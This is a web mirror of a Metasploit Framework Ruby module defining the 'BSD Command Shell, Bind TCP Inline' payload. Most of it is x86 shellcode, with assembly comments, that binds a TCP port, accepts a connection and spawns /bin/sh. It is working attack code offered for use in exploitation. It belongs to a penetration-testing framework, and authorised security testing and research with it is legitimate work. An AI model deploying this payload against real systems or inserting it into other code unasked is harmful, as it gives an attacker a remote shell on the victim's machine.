Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 73
8
9
include Msf::Payload::Single
10
include Msf::Payload::Bsd
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'BSD Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'bsd',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LPORT' => [ 6, 'n' ]
29
},
30
'Payload' =>
31
"\x31\xc0" + # xorl %eax,%eax #
32
"\x50" + # pushl %eax #
33
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
34
"\x89\xe7" + # movl %esp,%edi #
35
"\x50" + # pushl %eax #
36
"\x6a\x01" + # pushl $0x01 #
37
"\x6a\x02" + # pushl $0x02 #
38
"\x6a\x10" + # pushl $0x10 #
39
"\xb0\x61" + # movb $0x61,%al #
40
"\xcd\x80" + # int $0x80 #
41
"\x57" + # pushl %edi #
42
"\x50" + # pushl %eax #
43
"\x50" + # pushl %eax #
44
"\x6a\x68" + # pushl $0x68 #
45
"\x58" + # popl %eax #
46
"\xcd\x80" + # int $0x80 #
47
"\x89\x47\xec" + # movl %eax,-0x14(%edi) #
48
"\xb0\x6a" + # movb $0x6a,%al #
49
"\xcd\x80" + # int $0x80 #
50
"\xb0\x1e" + # movb $0x1e,%al #
51
"\xcd\x80" + # int $0x80 #
52
"\x50" + # pushl %eax #
53
"\x50" + # pushl %eax #
54
"\x6a\x5a" + # pushl $0x5a #
55
"\x58" + # popl %eax #
56
"\xcd\x80" + # int $0x80 #
57
"\xff\x4f\xe4" + # decl -0x1c(%edi) #
58
"\x79\xf6" + # jns <bndsockcode+42> #
59
"\x50" + # pushl %eax #
60
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
61
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
62
"\x89\xe3" + # movl %esp,%ebx #
63
"\x50" + # pushl %eax #
64
"\x54" + # pushl %esp #
65
"\x53" + # pushl %ebx #
66
"\x50" + # pushl %eax #
67
"\xb0\x3b" + # movb $0x3b,%al #
68
"\xcd\x80" # int $0x80 #
69
}
70
)
71
)
72
end
73
end
74
75